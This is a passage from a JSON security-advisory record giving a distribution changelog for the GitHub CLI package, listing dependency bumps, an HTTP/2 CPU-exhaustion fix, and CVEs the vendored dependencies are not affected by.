--unset without an argument\n  * Bump go-gh to 2.16.1, golang.org/x/crypto to 0.57.0,\n    github.com/klauspost/compress to 1.20.1 and Go to 1.27.1\n- Update golang.org/x/net to 0.60.0 to fix\n  excessive CPU consumption on repeated HTTP/2 initial window\n  changes (CVE-2026-78669, bsc#1285291).\n- Require golang(API) \u003e= 1.27 as upstream moved to Go 1.27.\n- Not affected, vendored dependencies are above the fixed version:\n  * CVE-2026-84445 (bsc#1278962): grpc is 1.83.2, fixed in 1.83.2\n  * CVE-2026-84304 (bsc#1279208), CVE-2026-84303 (bsc#1279310):\n    grpc is 1.83.2, fixed in 1.83.1\n  * CVE-2026-41178 (bsc#1276707): otel/baggage is 1.44.0, fixed in\n    1.44.0\n  * CVE-2026-63209 (bsc#1283727): klauspost/compress is 1.20.1,\n    contains the fix of 1.18.7\n  * CVE-2026-72924 (bsc#1276755): gh is above 2.98.0, the fixed\n    version\n  * CVE-2026-59831 (bsc#1271215): gh is above 2.95.0, the last\n    affected version\n","status":"published","published":"2026-10-19T17:22:04Z","modified":"2026-10-20T19:15:03.960243328Z","updated_at":"2026-11-02T16:58:42.426393Z"}]},"sources_more":{"osv":16}}